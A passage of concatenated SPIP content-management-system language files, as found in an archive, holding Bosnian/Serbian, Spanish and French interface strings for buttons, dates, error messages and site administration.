'texte_moteur_recherche_non_active' => 'Motor za pretragu nije aktiviran.',
'texte_multilinguisme' => 'Ako zelita obradjivati clanke na vise jezika, sa kompleksnom navigacijom, u organizaciju vase stranice mozete dodati meni za odabir jezika u clancima i/ili rubrikama.', # MODIF
'texte_multilinguisme_trad' => 'Svakako mozete aktivirati sistem sa obradjivanje linkova izmedju razlicitih prevoda clanaka.', # MODIF
'texte_non_compresse' => '<i>nije kompresovan</i> (vas server ne podrzava ovu funkciju)',
'texte_nouveau_message' => 'Nova poruka',
'texte_nouvelle_version_spip_1' => 'Instalirali ste novu verziju SPIP-a.',
'texte_nouvelle_version_spip_2' => 'Ovoj verziji je potrebno obnavljanje kompletnije od uobicajenog. Ako ste webmaster stranice, izbrisite dokument <tt>inc_connect.php3</tt> iz repertoara <tt>ecrire</tt> i ponovo otpocnite instalaciju da biste obnovili parametre konekcije sa bazom podataka.<p> (Napomena: ako ste zaboravili parametre vase konekcije pogledajte dokument <tt>inc_connect.php3</tt> prije nego ga izbrisete...)</p>', # MODIF
'texte_operation_echec' => 'Vratite se na prethodnu stranu, izaberite drugu bazu ili napravite novu. Provjerite podatke koje vam je dao vas kompjuter.',
'texte_plus_trois_car' => 'vise od tri karaktera',
'texte_plusieurs_articles' => 'Pronadjeno vise autora za "@cherche_auteur@":',
'texte_port_annuaire' => '(Naznacena standardna vrijednost odgovara u vecini slucajeva.)',
'texte_proposer_publication' => 'Kada zavrsite vas clanak,<br /> mozete predloziti njegovo objavljivanje.', # MODIF
'texte_proxy' => 'U odredjenim slucajevima (intranet, zasticene mreze...), koristenje <i>proxy HTTP</i> moze biti neophodno za dostizanje sindikovanih stranica. Ako je potrebno, naznacite adresu u sljedecoj formi <tt><html>http://proxy:8080</html></tt>. U vecini slucajeva, ovo polje mozete ostaviti prazno.', # MODIF
'texte_publication_articles_post_dates' => 'Kako se SPIP treba ponasati prema clancima ciji je datum objavljivanja odredjen za buducnost? ',
'texte_rappel_selection_champs' => '[Ne zaboravite ispravno izabrati ovo polje.]',
'texte_recalcul_page' => 'Ako zelite preracunati samo jednu stranu, predjite u javni prostor i koristite « preracunati ».',
'texte_recapitiule_liste_documents' => 'Ova strana ponavlja spisak dokumenata koje ste postavili u rubrikama. Da biste izmijenili informacije svakog dokumenta, pratite link do strane sa njegovom rubrikom.',
'texte_recuperer_base' => 'Popravi bazu podataka',
'texte_reference_mais_redirige' => 'clanak je preporucen u vasoj SPIP stranici, ali je preusmjeren na drugi URL.',
'texte_requetes_echouent' => '<b>Ako odredzeni SQL zahtijevi sistematski i bez ociglednog razloga ne uspijevaju, moguce je da je problem u samoj bazi podataka.</b><p> SQL raspolaze mogucnosti popravljanja njegovih tabela, ako su one slucajno ostecene. Ovdje mozete isprobati popravku; u slucaju neuspijeha, sacuvajte kopiju prikaza na monitoru, koja mozda sadrzi naznake problema...</p><p> Ako se problem nastavi, kontaktirajte vas hosting servis.</p>', # MODIF
'texte_selection_langue_principale' => 'Mozete izabrati « glavni jezik » stranice. Taj izbor vas (na srecu!) ne obavezuje na pisanje clanaka na tom jeziku, ali dozvoljava odredjivanje:
\\tab <ul><li> standardni format datuma na javnoj stranici;</li>
\\tab <li> prirodu tipografskog motora koj ce SPIP koristriti za izradu tekstova;</li>
\\tab <li> jezik koji ce se koristiti u formularima javne stranice;</li>
\\tab <li> standardni jezik, prisutan na privatnoj stranici.</li></ul>',
'texte_sous_titre' => 'Podnaslov',
'texte_statistiques_visites' => '(tamne trake: nedjelja / tamna kriva: prosjecni nivo)',
'texte_statut_attente_validation' => 'na cekanju za ovjeru',
'texte_statut_publies' => 'objavljeni',
'texte_statut_refuses' => 'odbijeni',
'texte_suppression_fichiers' => 'Koristite se ovom komandom da biste sve prisutne dokumente u SPIP kes. To omogucuje npr. izazivanje preracunavanja svih strana, u slucaju da ste izveli vazne izmjene grafizma ili strukture stranice.',
'texte_sur_titre' => 'Nadnaslov',
'texte_table_ok' => ':ova tabela je OK.',
'texte_tables_indexation_vides' => 'Tabele indeksacije motora su prazne.',
'texte_tentative_recuperation' => 'Pokusaj popravke',
'texte_tenter_reparation' => 'Pokusati popravljanje baze podataka',
'texte_test_proxy' => 'Da bi ste probali ovaj proxy, ovdje naznacite adresu (web stranice) koju zelite testirati.',
'texte_titre_02' => 'Naslov:',
'texte_titre_obligatoire' => '<b>Naslov</b> [Obavezan]', # MODIF
'texte_travail_article' => '@nom_auteur_modif@ ostaje @date_diff@ minuta za rad na ovom clanku',
'texte_travail_collaboratif' => 'Ako je uobicajeno da vise urednika radi na istom clanku, sistem moze postavljati posljednje « otvarane » clanke, da bi se izbjegle simultane izmjene. Ova opcija je standardno iskljucena, da bi se izbjeglo postavljanje neodgovarajucih poruka upozorenja.',
'texte_trop_resultats_auteurs' => 'Previse rezultata za pretragu "@cherche_auteur@" ; predefinisite opcije pretrazivanja.',
'texte_unpack' => 'download posljednje verzije',
'texte_utilisation_moteur_syndiques' => 'Ako koristitie motor pretrage koji je integrisan u SPIP, mozete na dva razlicita nacina izvesti pretragu na sindikovanim stranicama i clancima. <br /><img src=\\"puce.gif\\"> Najjednostavnije je pretrazivati samo naslove i opise clanaka. <br /><img src=\\"puce.gif\\"> Mnogo jaca metoda dozvoljava SPIP-u da trazi unutar tekstova preporucenih sranica. Dakle, ako preporucite neku stranicu, SPIP ce izvrsiti pretragu unutar samog teksta stranice.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Ova metoda obavezuje SPIP da redovno posjecuje preporucene stranice, sto moze izazvati lahko usporavanje vase sopstvene stranice.',
'texte_vide' => 'prazno',
'texte_vider_cache' => 'Isprazniti kes',
'titre_admin_effacer' => 'Tehnicko odrzavanje',
'titre_admin_tech' => 'Tehnicko odrzavanje',
'titre_admin_vider' => 'Tehnicko odrzavanje',
'titre_cadre_afficher_article' => 'Prikazi clanke',
'titre_cadre_afficher_traductions' => 'Prikazi stanje prevoda za sljedece jezike:',
'titre_cadre_ajouter_auteur' => 'DODATI AUTORA:',
'titre_cadre_interieur_rubrique' => 'U unutrasnjosti rubrike',
'titre_cadre_numero_auteur' => 'AUTOR BROJ',
'titre_cadre_signature_obligatoire' => '<b>Potpis</b> [Obavezno]<br />', # MODIF
'titre_config_fonctions' => 'Konfiguracija stranice',
'titre_configuration' => 'Konfiguracija stranice',
'titre_connexion_ldap' => 'Opcije: <b>Vasa LDAP konekcija</b>',
'titre_groupe_mots' => 'GRUPA RIJECI:',
'titre_langue_article' => 'JEZIK CLANKA', # MODIF
'titre_langue_rubrique' => 'JEZIK RUBRIKE', # MODIF
'titre_langue_trad_article' => 'JEZIK I PREVOD CLANKA',
'titre_les_articles' => 'CLANCI',
'titre_naviguer_dans_le_site' => 'Navigacija stranicom...',
'titre_nouvelle_rubrique' => 'Nova rubrika',
'titre_numero_rubrique' => 'RUBRIKA BROJ:',
'titre_page_admin_effacer' => 'Tehnicko odrzavanje: brisanje baze',
'titre_page_articles_edit' => 'Izmjeni: @titre@',
'titre_page_articles_page' => 'Clanci',
'titre_page_articles_tous' => 'Cijela stranica',
'titre_page_auteurs' => 'Posjetioci',
'titre_page_calendrier' => 'Kalendar @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Konfiguracija stranice',
'titre_page_config_fonctions' => 'Konfiguracija stranice',
'titre_page_configuration' => 'Konfiguracija stranice',
'titre_page_controle_petition' => 'Pracenje peticija',
'titre_page_delete_all' => 'cjelokupno i nepovratno otklanjanje',
'titre_page_documents_liste' => 'Dokumenti rubrike',
'titre_page_index' => 'Vas privatni prostor',
'titre_page_message_edit' => 'Napisi poruku',
'titre_page_messagerie' => 'Vas transfer poruka',
'titre_page_recherche' => 'Rezultati pretrage @recherche@',
'titre_page_statistiques_referers' => 'Statistike (linkovi unosenja)',
'titre_page_upgrade' => 'Postavljanje SPIP-a na aktuelni nivo',
'titre_publication_articles_post_dates' => 'Objavljivanje clanaka sa kasnijim datumom',
'titre_referencer_site' => 'Preporuciti stranicu:',
'titre_rendez_vous' => 'SASTANAK:',
'titre_reparation' => 'Popravka',
'titre_suivi_petition' => 'Pracenje peticija',
'trad_article_inexistant' => 'Ne postoji clanak koji nosi ovaj broj.',
'trad_article_traduction' => 'Sve verzije ovog clanka:',
'trad_deja_traduit' => 'Ovaj clanak je vec prevod prethodnog clanka.', # MODIF
'trad_delier' => 'Ne vezati vise ovaj clanak za ove prevode', # MODIF
'trad_lier' => 'Ovaj clanak je prevod clanka broj:',
'trad_new' => 'Napisati novi prevod ovog clanka' # MODIF
);
?>
public_es.php 0000666 00000007627 15252547432 0007253 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Portada del sitio',
'article' => 'Artículo',
'articles' => 'Artículos',
'articles_auteur' => 'Artículos de esta autora o autor',
'articles_populaires' => 'Los artículos más populares',
'articles_rubrique' => 'Artículos de esta sección',
'aucun_article' => 'No hay ningún artículo en esta dirección ',
'aucun_auteur' => 'No hay autor ni autora en esta dirección ',
'aucun_site' => 'No hay ningún sitio en esta dirección',
'aucune_breve' => 'No hay ninguna breve en esta dirección',
'aucune_rubrique' => 'No hay ninguna sección en esta dirección',
'auteur' => 'Autor o autora',
'autres' => 'Otros',
'autres_breves' => 'Otros breves',
'autres_groupes_mots_clefs' => 'Otros grupos de palabras clave',
'autres_sites' => 'Otros sitios',
// B
'bonjour' => 'Hola',
// C
'commenter_site' => 'Comentar este sitio',
'contact' => 'Contacto',
'copie_document_impossible' => 'Imposible copiar el documento',
// D
'date' => 'Fecha',
'dernier_ajout' => 'Última actualización',
'dernieres_breves' => 'Últimos breves',
'derniers_articles' => 'Últimos artículos',
'derniers_commentaires' => 'Últimos comentarios',
'derniers_messages_forum' => 'Últimos mensajes publicados en los foros',
// E
'edition_mode_texte' => 'Edición en modo texto de',
'en_reponse' => 'En respuesta a:',
'en_resume' => 'En resumen',
'envoyer_message' => 'Enviar un mensaje',
'espace_prive' => 'Espacio privado',
// F
'formats_acceptes' => 'Formatos aceptados: @formats@.',
// H
'hierarchie_site' => 'Jerarquía del sitio',
// J
'jours' => 'días',
// L
'lien_connecter' => 'Conectarse',
// M
'meme_auteur' => 'Del mismo autor',
'meme_rubrique' => 'En la misma sección',
'memes_auteurs' => 'De los mismos autores',
'message' => 'Mensaje',
'messages_forum' => 'Mensajes',
'messages_recents' => 'Los mensajes más recientes del foro',
'mots_clef' => 'Palabra clave',
'mots_clefs' => 'Palabras clave',
'mots_clefs_meme_groupe' => 'Palabras claves en el mismo grupo',
// N
'navigation' => 'Navegación',
'nom' => 'Nombre',
'nouveautes' => 'Las novedades',
'nouveautes_web' => 'Novedades en la web',
'nouveaux_articles' => 'Nuevos artículos',
'nouvelles_breves' => 'Nuevas breves',
// P
'page_precedente' => 'Página anterior',
'page_suivante' => 'Página siguiente',
'par_auteur' => 'por ',
'participer_site' => 'Puedes participar en la vida de este sitio y proponer artículos inscribiéndote aqui. De inmediato recibirás un correo electrónico con tus claves de acceso al espacio privado del sitio.',
'plan_site' => 'Mapa del sitio',
'popularite' => 'Popularidad',
'poster_message' => 'Publicar un mensaje',
'proposer_site' => 'Proponga un sitio para añadir en esta sección:',
// R
'repondre_article' => 'Comentar este artículo',
'repondre_breve' => 'Comentar esta breve',
'resultats_recherche' => 'Resultados de la búsqueda',
'retour_debut_forums' => 'Volver al inicio del foro',
'rubrique' => 'Sección',
'rubriques' => 'Secciones',
// S
'signatures_petition' => 'Firmas',
'site_realise_avec_spip' => 'Sitio desarrollado con SPIP',
'sites_web' => 'Sitios Web',
'sous_rubriques' => 'Subsección',
'spam' => 'Spam',
'suite' => 'continuar',
'sur_web' => 'Del web',
'syndiquer_rubrique' => 'Sindicar esta sección',
'syndiquer_site' => 'Sindicar el sitio completo',
// T
'texte_lettre_information' => 'Este es el boletín de información del sitio',
'texte_lettre_information_2' => 'Este boletín reseña las novedades publicadas desde ',
// V
'ver_imprimer' => 'Versión para imprimir',
'voir_en_ligne' => 'Ver en línea',
'voir_squelette' => 'ver el esqueleto de esta página'
);
?>
spip_fr.php 0000666 00000115377 15252547432 0006752 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://trac.rezo.net/spip/spip/ecrire/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Français [fr]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'spip-dev@rezo.net',
// A
'access_interface_graphique' => 'Retour à l’interface graphique complète',
'access_mode_texte' => 'Afficher l’interface textuelle simplifiée',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modifier cet article',
'admin_modifier_auteur' => 'Modifier cet auteur',
'admin_modifier_breve' => 'Modifier cette brève',
'admin_modifier_mot' => 'Modifier ce mot-clé',
'admin_modifier_rubrique' => 'Modifier cette rubrique',
'admin_recalculer' => 'Recalculer cette page',
'afficher_calendrier' => 'Afficher le calendrier',
'afficher_trad' => 'afficher les traductions',
'alerte_maj_impossible' => '<b>Alerte !</b> La mise à jour de la base SQL vers la version @version@ est impossible, peut-être à cause d’un problème de droit de modification sur la base de données. Veuillez contacter votre hébergeur.',
'alerte_modif_info_concourante' => 'ATTENTION : Cette information a été modifiée par ailleurs. La valeur actuelle est :',
'analyse_xml' => 'Analyse XML',
'annuler' => 'Annuler',
'antispam_champ_vide' => 'Veuillez laisser ce champ vide :',
'articles_recents' => 'Articles les plus récents',
'avis_archive_incorrect' => 'le fichier archive n’est pas un fichier SPIP',
'avis_archive_invalide' => 'le fichier archive n’est pas valide',
'avis_attention' => 'ATTENTION !',
'avis_champ_incorrect_type_objet' => 'Nom de champ incorrect @name@ pour objet de type @type@',
'avis_colonne_inexistante' => 'La colonne @col@ n’existe pas',
'avis_erreur' => 'Erreur : voir ci-dessous',
'avis_erreur_connexion' => 'Erreur de connexion',
'avis_erreur_cookie' => 'problème de cookie',
'avis_erreur_fonction_contexte' => 'Erreur de programmation. Cette fonction ne doit pas être appelée dans ce contexte.',
'avis_erreur_mysql' => 'Erreur SQL',
'avis_erreur_sauvegarde' => 'Erreur dans la sauvegarde (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Problème d’accès à l’espace privé',
// B
'barre_a_accent_grave' => 'Insérer un A accent grave majuscule',
'barre_aide' => 'Utilisez les raccourcis typographiques pour enrichir votre mise en page',
'barre_e_accent_aigu' => 'Insérer un E accent aigu majuscule',
'barre_eo' => 'Insérer un E dans l’O',
'barre_eo_maj' => 'Insérer un E dans l’O majuscule',
'barre_euro' => 'Insérer le symbole €',
'barre_gras' => 'Mettre en {{gras}}',
'barre_guillemets' => 'Entourer de « guillemets »',
'barre_guillemets_simples' => 'Entourer de “guillemets de second niveau”',
'barre_intertitre' => 'Transformer en {{{intertitre}}}',
'barre_italic' => 'Mettre en {italique}',
'barre_lien' => 'Transformer en [lien hypertexte->http://...]',
'barre_lien_input' => 'Veuillez indiquer l’adresse de votre lien (vous pouvez indiquer une adresse Web sous la forme http://www.monsite/com ou simplement indiquer le numéro d’un article de ce site.',
'barre_note' => 'Transformer en [[Note de bas de page]]',
'barre_paragraphe' => 'Créer un paragraphe',
'barre_quote' => '<quote>Citer un message</quote>',
'bouton_changer' => 'Changer',
'bouton_chercher' => 'Chercher',
'bouton_choisir' => 'Choisir',
'bouton_deplacer' => 'Déplacer',
'bouton_download' => 'Télécharger',
'bouton_enregistrer' => 'Enregistrer',
'bouton_radio_desactiver_messagerie_interne' => 'Désactiver la messagerie interne',
'bouton_radio_envoi_annonces' => 'Envoyer les annonces éditoriales',
'bouton_radio_non_envoi_annonces' => 'Ne pas envoyer d’annonces',
'bouton_radio_non_envoi_liste_nouveautes' => 'Ne pas envoyer la liste des nouveautés',
'bouton_recharger_page' => 'recharger cette page',
'bouton_telecharger' => 'Télécharger',
'bouton_upload' => 'Téléverser',
'bouton_valider' => 'Valider',
// C
'cal_apresmidi' => 'après-midi',
'cal_jour_entier' => 'jour entier',
'cal_matin' => 'matin',
'cal_par_jour' => 'calendrier par jour',
'cal_par_mois' => 'calendrier par mois',
'cal_par_semaine' => 'calendrier par semaine',
'choix_couleur_interface' => 'couleur ',
'choix_interface' => 'choix de l’interface',
'colonne' => 'Colonne',
'confirm_changer_statut' => 'Attention, vous avez demandé à changer le statut de cet élément. Souhaitez-vous continuer ?',
'correcte' => 'correcte', # chaine utilisée dans le debugueur : "validation .. impossible" ou "validation .. correcte"
// D
'date_aujourdhui' => 'aujourd’hui',
'date_avant_jc' => 'av. J.C.',
'date_dans' => 'dans @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'demain',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ à @heure@',
'date_fmt_jour_heure_debut_fin' => '@jour@ de @heure_debut@ à @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => '@dtstart@@jour@ de @heure_debut@@dtabbr@ à @dtend@@heure_fin@@dtabbr@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => 'le @nomjour@ @date@',
'date_fmt_periode' => 'Du @date_debut@ au @date_fin@',
'date_fmt_periode_abbr' => 'Du @dtart@@date_debut@@dtabbr@ au @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'Du',
'date_fmt_periode_to' => 'au',
'date_fmt_saison_annee' => '@saison@ @annee@', // Retour du filtre saison_annee "été 2014", reçoit comme argument 'saison' (string) et année (int)
'date_heures' => 'heures',
'date_hier' => 'hier',
'date_il_y_a' => 'il y a @delai@',
'date_jnum1' => '1er',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimanche',
'date_jour_1_abbr' => 'dim.',
'date_jour_1_initiale' => 'd.',
'date_jour_2' => 'lundi',
'date_jour_2_abbr' => 'lun.',
'date_jour_2_initiale' => 'l.',
'date_jour_3' => 'mardi',
'date_jour_3_abbr' => 'mar.',
'date_jour_3_initiale' => 'm.',
'date_jour_4' => 'mercredi',
'date_jour_4_abbr' => 'mer.',
'date_jour_4_initiale' => 'm.',
'date_jour_5' => 'jeudi',
'date_jour_5_abbr' => 'jeu.',
'date_jour_5_initiale' => 'j.',
'date_jour_6' => 'vendredi',
'date_jour_6_abbr' => 'ven.',
'date_jour_6_initiale' => 'v.',
'date_jour_7' => 'samedi',
'date_jour_7_abbr' => 'sam.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'jours',
'date_minutes' => 'minutes',
'date_mois' => 'mois',
'date_mois_1' => 'janvier',
'date_mois_10' => 'octobre',
'date_mois_10_abbr' => 'oct.',
'date_mois_11' => 'novembre',
'date_mois_11_abbr' => 'nov.',
'date_mois_12' => 'décembre',
'date_mois_12_abbr' => 'déc.',
'date_mois_1_abbr' => 'janv.',
'date_mois_2' => 'février',
'date_mois_2_abbr' => 'févr.',
'date_mois_3' => 'mars',
'date_mois_3_abbr' => 'mars',
'date_mois_4' => 'avril',
'date_mois_4_abbr' => 'avr.',
'date_mois_5' => 'mai',
'date_mois_5_abbr' => 'mai',
'date_mois_6' => 'juin',
'date_mois_6_abbr' => 'juin',
'date_mois_7' => 'juillet',
'date_mois_7_abbr' => 'juil.',
'date_mois_8' => 'août',
'date_mois_8_abbr' => 'août',
'date_mois_9' => 'septembre',
'date_mois_9_abbr' => 'sept.',
'date_saison_1' => 'hiver',
'date_saison_2' => 'printemps',
'date_saison_3' => 'été',
'date_saison_4' => 'automne',
'date_secondes' => 'secondes',
'date_semaines' => 'semaines',
'date_un_mois' => 'mois',
'date_une_heure' => 'heure',
'date_une_minute' => 'minute',
'date_une_seconde' => 'seconde',
'date_une_semaine' => 'semaine',
'dirs_commencer' => ' afin de commencer réellement l’installation',
'dirs_preliminaire' => 'Préliminaire : <b>Régler les droits d’accès</b>',
'dirs_probleme_droits' => 'Problème de droits d’accès',
'dirs_repertoires_absents' => '<p><b>Les répertoires suivants n’ont pas été trouvés :</b></p><ul>@bad_dirs@</ul>
<p>Il est probable que cela soit dû à un problème de mauvaise mise en majuscules ou minuscules.
Vérifiez que les minuscules et majuscules de ces répertoires concordent bien avec ce qui est affiché
ci-dessus ; si ce n’est pas le cas, renommez les répertoires avec votre logiciel FTP de façon à corriger l’erreur.</p>
<p>Une fois cette manipulation effectuée, vous pourrez ',
'dirs_repertoires_suivants' => '<p><b>Les répertoires suivants ne sont pas accessibles en écriture :</b></p> <ul>@bad_dirs@</ul>
<p>Pour y remédier, utilisez votre client FTP afin de régler les droits d’accès de chacun
de ces répertoires. La procédure est expliquée en détail dans le guide d’installation.</p>
<p>Une fois cette manipulation effectuée, vous pourrez ',
'double_occurrence' => 'Double occurrence de @balise@',
// E
'en_cours' => 'en cours',
'envoi_via_le_site' => 'Envoi via le site',
'erreur' => 'Erreur',
'erreur_balise_non_fermee' => 'dernière balise non refermée :',
'erreur_technique_ajaxform' => 'Oups. Une erreur inattendue a empêché de soumettre le formulaire. Vous pouvez essayer à nouveau.',
'erreur_technique_enregistrement_champs' => 'Une erreur technique a empêché l’enregistrement correct du champ @champs@.',
'erreur_technique_enregistrement_impossible' => 'Une erreur technique a empêché l’enregistrement.',
'erreur_texte' => 'erreur(s)',
'etape' => 'Étape',
// F
'fichier_introuvable' => 'Fichier @fichier@ introuvable',
'form_auteur_confirmation' => 'Confirmez votre adresse email',
'form_auteur_email_modifie' => 'Votre adresse email a été modifiée.',
'form_auteur_envoi_mail_confirmation' => 'Un courrier électronique de confirmation vient d’être envoyé à @email@. Vous devrez visiter l’adresse Web mentionnée dans ce courrier pour valider votre adresse mail.',
'form_auteur_mail_confirmation' => 'Bonjour,
Vous avez demandé à changer votre adresse email.
Pour confirmer votre nouvelle adresse, il suffit de vous connecter à
l’adresse ci-dessous (dans le cas contraire, votre demande
sera ignorée) :
@url@
',
'form_deja_inscrit' => 'Vous êtes déjà inscrit.',
'form_email_non_valide' => 'Votre adresse email n’est pas valide.',
'form_forum_access_refuse' => 'Vous n’avez plus accès à ce site.',
'form_forum_bonjour' => 'Bonjour @nom@,',
'form_forum_confirmer_email' => 'Pour confirmer votre adresse email, rendez-vous à cette adresse : @url_confirm@',
'form_forum_email_deja_enregistre' => 'Cette adresse email est déjà enregistrée, vous pouvez donc utiliser votre mot de passe habituel.',
'form_forum_identifiant_mail' => 'Votre nouvel identifiant vient de vous être envoyé par email.',
'form_forum_identifiants' => 'Identifiants personnels',
'form_forum_indiquer_nom_email' => 'Indiquez ici votre nom et votre adresse email. Votre identifiant personnel vous parviendra rapidement, par courrier électronique.',
'form_forum_login' => 'login :',
'form_forum_message_auto' => '(ceci est un message automatique)',
'form_forum_pass' => 'mot de passe :',
'form_forum_probleme_mail' => 'Problème de mail : l’identifiant ne peut pas être envoyé.',
'form_forum_voici1' => 'Voici vos identifiants pour pouvoir participer à la vie du site "@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Voici vos identifiants pour proposer des articles sur
le site "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'Veuillez indiquer votre adresse email.',
'form_indiquer_nom' => 'Veuillez indiquer votre nom.',
'form_indiquer_nom_site' => 'Veuillez indiquer le nom de votre site.',
'form_pet_deja_enregistre' => 'Ce site est déjà enregistré',
'form_pet_signature_pasprise' => 'Votre signature n’est pas prise en compte.',
'form_prop_confirmer_envoi' => 'Confirmer l’envoi',
'form_prop_description' => 'Description/commentaire',
'form_prop_enregistre' => 'Votre proposition est enregistrée, elle apparaîtra en ligne après validation par les responsables de ce site.',
'form_prop_envoyer' => 'Envoyer un message',
'form_prop_indiquer_email' => 'Veuillez indiquer une adresse email valide',
'form_prop_indiquer_nom_site' => 'Veuillez indiquer le nom du site.',
'form_prop_indiquer_sujet' => 'Veuillez indiquer un sujet',
'form_prop_message_envoye' => 'Message envoyé',
'form_prop_non_enregistre' => 'Votre proposition n’a pas été enregistrée.',
'form_prop_sujet' => 'Sujet',
'form_prop_url_site' => 'Adresse URL du site',
'forum_non_inscrit' => 'Vous n’êtes pas inscrit, ou l’adresse ou le mot de passe sont erronés.',
'forum_par_auteur' => 'par @auteur@',
'forum_titre_erreur' => 'Erreur...',
// I
'ical_texte_rss_articles' => 'Le fichier « backend » des articles de ce site se trouve à l’adresse :',
'ical_texte_rss_articles2' => 'Vous pouvez également obtenir des fichiers « backend » pour les articles de chaque rubrique du site :',
'ical_texte_rss_breves' => 'Il existe de plus un fichier contenant les brèves du site. En précisant un numéro de rubrique, vous obtiendrez uniquement les brèves de cette rubrique.',
'icone_a_suivre' => 'À suivre',
'icone_admin_site' => 'Administration du site',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Aide',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Auteurs',
'icone_brouteur' => 'Navigation rapide',
'icone_configuration_site' => 'Configuration',
'icone_configurer_site' => 'Configurer votre site',
'icone_creer_nouvel_auteur' => 'Créer un nouvel auteur',
'icone_creer_rubrique' => 'Créer une rubrique',
'icone_creer_sous_rubrique' => 'Créer une sous-rubrique',
'icone_deconnecter' => 'Se déconnecter',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents des rubriques',
'icone_ecrire_article' => 'Écrire un nouvel article',
'icone_edition_site' => 'Édition',
'icone_gestion_langues' => 'Gestion des langues',
'icone_informations_personnelles' => 'Informations personnelles',
'icone_interface_complet' => 'interface complète',
'icone_interface_simple' => 'Interface simplifiée',
'icone_maintenance_site' => 'Maintenance du site',
'icone_messagerie_personnelle' => 'Messagerie personnelle',
'icone_repartition_debut' => 'Afficher la répartition depuis le début',
'icone_rubriques' => 'Rubriques',
'icone_sauver_site' => 'Sauvegarde du site',
'icone_site_entier' => 'Tout le site',
'icone_sites_references' => 'Sites référencés',
'icone_statistiques' => 'Statistiques du site',
'icone_suivi_activite' => 'Suivre la vie du site',
'icone_suivi_actualite' => 'Évolution du site',
'icone_suivi_pettions' => 'Suivre/gérer les pétitions',
'icone_suivi_revisions' => 'Modifications des articles',
'icone_supprimer_document' => 'Supprimer ce document',
'icone_supprimer_image' => 'Supprimer cette image',
'icone_tous_articles' => 'Tous vos articles',
'icone_tous_auteur' => 'Tous les auteurs',
'icone_tous_visiteur' => 'Tous les visiteurs',
'icone_visiter_site' => 'Voir le site public',
'icone_voir_en_ligne' => 'Voir en ligne',
'img_indisponible' => 'image indisponible',
'impossible' => 'impossible',
'info_a_suivre' => 'À SUIVRE »',
'info_acces_interdit' => 'Accès interdit',
'info_acces_refuse' => 'Accès refusé',
'info_action' => 'Action : @action@',
'info_administrer_rubriques' => 'Vous pouvez administrer cette rubrique et ses sous-rubriques',
'info_adresse_non_indiquee' => 'Vous n’avez pas indiqué d’adresse à tester !',
'info_aide' => 'AIDE :',
'info_ajouter_mot' => 'Ajouter ce mot',
'info_annonce' => 'ANNONCE',
'info_annonces_generales' => 'Annonces générales :',
'info_article_propose' => 'Article proposé',
'info_article_publie' => 'Article publié',
'info_article_redaction' => 'Article en cours de rédaction',
'info_article_refuse' => 'Article refusé',
'info_article_supprime' => 'Article supprimé',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Les articles à valider',
'info_articles_nb' => '@nb@ articles',
'info_articles_proposes' => 'Articles proposés',
'info_articles_un' => '1 article',
'info_auteurs_nombre' => 'auteur(s) :',
'info_authentification_ftp' => 'Authentification (par FTP).',
'info_breves_2' => 'brèves',
'info_breves_nb' => '@nb@ brèves',
'info_breves_un' => '1 brève',
'info_connexion_refusee' => 'Connexion refusée',
'info_contact_developpeur' => 'Veuillez contacter un développeur.',
'info_contenance' => 'Ce site contient :',
'info_contribution' => 'contributions',
'info_copyright' => '@spip@ est un logiciel libre distribué @lien_gpl@.',
'info_copyright_doc' => 'Pour plus d’informations, voir le site <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'sous licence GPL',
'info_cours_edition' => 'En cours de rédaction',
